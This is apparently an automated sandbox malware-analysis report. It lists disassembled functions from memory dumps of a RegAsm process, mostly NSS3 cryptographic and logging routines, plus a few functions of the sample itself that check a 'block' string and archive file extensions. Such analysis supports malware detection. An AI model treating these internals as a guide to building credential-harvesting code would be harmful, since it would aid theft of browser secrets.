Function 6C256D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C256D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C256DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C256DC3

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C256DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C256DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C256E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C256E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C256E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C256EB9

Strings

ulDataLen = %d, xrefs: 6C256E0E
pData = 0x%p, xrefs: 6C256DF5
*pulDigestLen = 0x%x, xrefs: 6C256EB4
pDigest = 0x%p, xrefs: 6C256E27
hSession = 0x%x, xrefs: 6C256D9E, 6C256DAE
n3l, xrefs: 6C256E61, 6C256E95
pulDigestLen = 0x%p, xrefs: 6C256E42
C_Digest, xrefs: 6C256D81
(CK_INVALID_HANDLE), xrefs: 6C256DBC

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$n3l
API String ID: 1003633598-3271529263
Opcode ID: 35e03d28299f2043f3471e33d7c37a4e8899112c1c5d36a83a4489bfadb8be86
Instruction ID: abc1558a2d0b0711eef697c690c83d27182130f39fd88680f54197d8c7a9ba7f
Opcode Fuzzy Hash: 35e03d28299f2043f3471e33d7c37a4e8899112c1c5d36a83a4489bfadb8be86
Instruction Fuzzy Hash: A441C475603158AFDB009B54DD89E8B3BB5AB4731DF858014FC089BB21DB359868CF92

Function 6C264C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C264C4C
EnterCriticalSection.KERNEL32(?), ref: 6C264C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C264CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C264CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C264CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C264D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C264D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C264DB7

Part of subcall function 6C2CDD70: TlsGetValue.KERNEL32 ref: 6C2CDD8C
Part of subcall function 6C2CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C2CDDB4

Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107AD
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107CD
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1A204A), ref: 6C2107D6
Part of subcall function 6C2107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C1A204A), ref: 6C2107E4
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,6C1A204A), ref: 6C210864
Part of subcall function 6C2107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C210880
Part of subcall function 6C2107A0: TlsSetValue.KERNEL32(00000000,?,?,6C1A204A), ref: 6C2108CB
Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(?,?,6C1A204A), ref: 6C2108D7
Part of subcall function 6C2107A0: TlsGetValue.KERNEL32(?,?,6C1A204A), ref: 6C2108FB

TlsGetValue.KERNEL32 ref: 6C264DD7
EnterCriticalSection.KERNEL32(?), ref: 6C264DEC
PR_Unlock.NSS3(?), ref: 6C264E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C264E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C264E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C264E71
free.MOZGLUE(00000000), ref: 6C264E7A
PR_Unlock.NSS3(?), ref: 6C264EA2
TlsGetValue.KERNEL32 ref: 6C264EC1
EnterCriticalSection.KERNEL32(?), ref: 6C264ED6
PR_Unlock.NSS3(?), ref: 6C264F01
free.MOZGLUE(00000000), ref: 6C264F2A

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 62ea9d2bac1aa5ffa167b6ec92d92467682a8b5e9ba62a647c159a5868ac310e
Instruction ID: 0a222188057142501f7d2dd5e74e5e3d1c44fb6a00f3ad964d86d77f24ece839
Opcode Fuzzy Hash: 62ea9d2bac1aa5ffa167b6ec92d92467682a8b5e9ba62a647c159a5868ac310e
Instruction Fuzzy Hash: 27B104B5E0020A9FDB01EF29D894B9AB7B8BF09319F144124ED5597F01E730E9A5CBE1

Function 6C2B6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C2B6BF7), ref: 6C2B6EB6

Part of subcall function 6C211240: TlsGetValue.KERNEL32(00000040,?,6C21116C,NSPR_LOG_MODULES), ref: 6C211267
Part of subcall function 6C211240: EnterCriticalSection.KERNEL32(?,?,?,6C21116C,NSPR_LOG_MODULES), ref: 6C21127C
Part of subcall function 6C211240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C21116C,NSPR_LOG_MODULES), ref: 6C211291
Part of subcall function 6C211240: PR_Unlock.NSS3(?,?,?,?,6C21116C,NSPR_LOG_MODULES), ref: 6C2112A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C35FC0A,6C2B6BF7), ref: 6C2B6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C2B6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C2B6EFC
PR_NewLock.NSS3 ref: 6C2B6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C2B6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C2B6BF7), ref: 6C2B6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C2B6BF7), ref: 6C2B6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C2B6BF7), ref: 6C2B6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C2B6BF7), ref: 6C2B6FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6C2B6FF8
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C2B6FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C2B6F4F
SSLKEYLOGFILE, xrefs: 6C2B6EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C2B6EF7
SSLFORCELOCKS, xrefs: 6C2B6F2B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 84cbb7c1ab1125aa820be2b8bda22b99b5d77195320cb738679e641ad3e0741e
Instruction ID: 3d83b3111e599aaa0cf536daae0c568a56b272c159c61478408947cf2db4acbf
Opcode Fuzzy Hash: 84cbb7c1ab1125aa820be2b8bda22b99b5d77195320cb738679e641ad3e0741e
Instruction Fuzzy Hash: 32A14BB3A67C998AE710463CCC01B4832A5AF937AEF584365FC31D7FD5DB35A4808651

Function 004139C2 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 127stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block,?,?,00417744), ref: 004139D7
ExitProcess.KERNEL32 ref: 004139E2
strtok_s.MSVCRT ref: 004139F3

Strings

DwA, xrefs: 004139EC, 004139EF
block, xrefs: 004139CB

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: DwA$block
API String ID: 3407564107-4170876926
Opcode ID: b2a6181841c0a819a6165bd9744e598bbe62174f59a4a8c8ae2e29f6798705dd
Instruction ID: 9e2abf34b02cddae1b0fa04c6dc88f1d30775994422634f8dc56bb1647053282
Opcode Fuzzy Hash: b2a6181841c0a819a6165bd9744e598bbe62174f59a4a8c8ae2e29f6798705dd
Instruction Fuzzy Hash: 7B414F70A48306BBEB44DF60DC49E9A7B6CFB1870BB206166E402D2151FB39B781DB58

Function 6C254E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C254E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C254EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C254EC7

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C254EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C254F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C254F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C254F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C254F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C254F68

Strings

hSession = 0x%x, xrefs: 6C254EA2, 6C254EB2
n3l, xrefs: 6C254F82, 6C254FB2
C_GetAttributeValue, xrefs: 6C254E7E
pTemplate = 0x%p, xrefs: 6C254F4A
ulCount = %d, xrefs: 6C254F63
(CK_INVALID_HANDLE), xrefs: 6C254EC0, 6C254F13
hObject = 0x%x, xrefs: 6C254EF5, 6C254F05

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$n3l
API String ID: 1003633598-2292109295
Opcode ID: 86b657cefc22cd280ce78289ab8c7ba321182d216d62c8b4c3a11cd34155e401
Instruction ID: d7aa783da7da542202cab3c6ec9cdf0cc5febd55e1f8f0b0e82277b29abef4be
Opcode Fuzzy Hash: 86b657cefc22cd280ce78289ab8c7ba321182d216d62c8b4c3a11cd34155e401
Instruction Fuzzy Hash: 9741E331602158ABDB009B54DD88F9FB7B9AB4330DF858024FD085BB11DB399938CFA2

Function 6C254CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C254CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C254D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C254D37

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C254D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C254D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C254D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C254DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C254DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C254E20

Strings

pulSize = 0x%p, xrefs: 6C254DB7
C_GetObjectSize, xrefs: 6C254CEE
hSession = 0x%x, xrefs: 6C254D12, 6C254D22
n3l, xrefs: 6C254DD4, 6C254DFF
*pulSize = 0x%x, xrefs: 6C254E1B
(CK_INVALID_HANDLE), xrefs: 6C254D30, 6C254D83
hObject = 0x%x, xrefs: 6C254D65, 6C254D75

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$n3l
API String ID: 1003633598-2650530022
Opcode ID: eec3cfa43735771c5fab306b2a6be55eed8014315a227d5e4814b36b2d9657ad
Instruction ID: 7b5e44004ef2e92ab670cfdd88331bb349d11e60ddfe1a6b90d826d75a44d72c
Opcode Fuzzy Hash: eec3cfa43735771c5fab306b2a6be55eed8014315a227d5e4814b36b2d9657ad
Instruction Fuzzy Hash: 8141D675602158AFDB009B10DD88FAB77B9AB4730DF858025FD086BA11DB399978CF92

Function 6C252F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C252F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C252F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C252F63

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C252F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C252F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C252FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C252FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C252FE7

Strings

ulOldLen = %d, xrefs: 6C252FB0
pOldPin = 0x%p, xrefs: 6C252F95
ulNewLen = %d, xrefs: 6C252FE2
C_SetPIN, xrefs: 6C252F21
hSession = 0x%x, xrefs: 6C252F3E, 6C252F4E
n3l, xrefs: 6C252FFF, 6C253030
pNewPin = 0x%p, xrefs: 6C252FC9
(CK_INVALID_HANDLE), xrefs: 6C252F5C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$n3l
API String ID: 1003633598-1621114441
Opcode ID: a4e039c7e402374376efd6e3e48bbb7b0f86375cfbdd14911aa9a320ef219710
Instruction ID: 1ea29a40d8eda9510ea4ac730d50124a830edc6f3a88001f7eaf618a9e64803d
Opcode Fuzzy Hash: a4e039c7e402374376efd6e3e48bbb7b0f86375cfbdd14911aa9a320ef219710
Instruction Fuzzy Hash: BC31F575602158AFCB009F14DD8CE8B37B5AB4731DF894014FC0867B21DB369968CF92

Function 0041B870 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,74DE83C0,00000000,0041C55B,?), ref: 0041B875
StrCmpCA.SHLWAPI(74DE83C0,0043613C), ref: 0041B8A3
StrCmpCA.SHLWAPI(74DE83C0,.zip), ref: 0041B8B3
StrCmpCA.SHLWAPI(74DE83C0,.zoo), ref: 0041B8BF
StrCmpCA.SHLWAPI(74DE83C0,.arc), ref: 0041B8CB
StrCmpCA.SHLWAPI(74DE83C0,.lzh), ref: 0041B8D7
StrCmpCA.SHLWAPI(74DE83C0,.arj), ref: 0041B8E3
StrCmpCA.SHLWAPI(74DE83C0,.gz), ref: 0041B8EF
StrCmpCA.SHLWAPI(74DE83C0,.tgz), ref: 0041B8FB

Strings

.gz, xrefs: 0041B8E9
.zoo, xrefs: 0041B8B9
.arj, xrefs: 0041B8DD
.tgz, xrefs: 0041B8F5
.zip, xrefs: 0041B8AD
.arc, xrefs: 0041B8C5
.lzh, xrefs: 0041B8D1

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction ID: 4d0ab467417de3272ea9e1328912bf8f077e80ad604b43416a02b9711c478325
Opcode Fuzzy Hash: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction Fuzzy Hash: 41015239A89227B56A223631AD81FBF1E5C8D86F807151037E845A2188DB5C998355FD

Function 6C278E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C278E01,00000000,6C279060,6C380B64), ref: 6C278E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C278E01,00000000,6C279060,6C380B64), ref: 6C278E9E
PORT_ArenaAlloc_Util.NSS3(6C380B64,00000001,?,?,?,?,6C278E01,00000000,6C279060,6C380B64), ref: 6C278EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C278E01,00000000,6C279060,6C380B64), ref: 6C278EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C278E01,00000000,6C279060,6C380B64), ref: 6C278ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C278E01,00000000,6C279060,6C380B64), ref: 6C278EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C278E01), ref: 6C278EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C380B64,6C380B64), ref: 6C278F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C278F3F

Part of subcall function 6C27A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C27A421,00000000,00000000,6C279826), ref: 6C27A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C27904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C278E76

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 270d2524ff9cf4f39be1d4aed0f8cddc5ccb66bc1e412cbbb4bbadffebe49fcb
Instruction ID: e379e6675da02aa3e73bee5c4e5aeccc6a4f4da00febe839e6f822f4ea7f7708
Opcode Fuzzy Hash: 270d2524ff9cf4f39be1d4aed0f8cddc5ccb66bc1e412cbbb4bbadffebe49fcb
Instruction Fuzzy Hash: 116191B5D0021A9BDB20DF55CC84AABB7B5EF84359F144128EC18A7740EB31A925CBB1

Function 6C228E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C228E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C228E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C228EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C3518D0,?), ref: 6C228F03
PR_CallOnce.NSS3(6C382AA4,6C2812D0), ref: 6C228F19
PL_FreeArenaPool.NSS3(?), ref: 6C228F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C228F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C228F65
PL_FinishArenaPool.NSS3(?), ref: 6C228FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C228FFE
PR_CallOnce.NSS3(6C382AA4,6C2812D0), ref: 6C229012
PL_FreeArenaPool.NSS3(?), ref: 6C229024
PL_FinishArenaPool.NSS3(?), ref: 6C22902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C22903E

Strings

security, xrefs: 6C228EE7

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
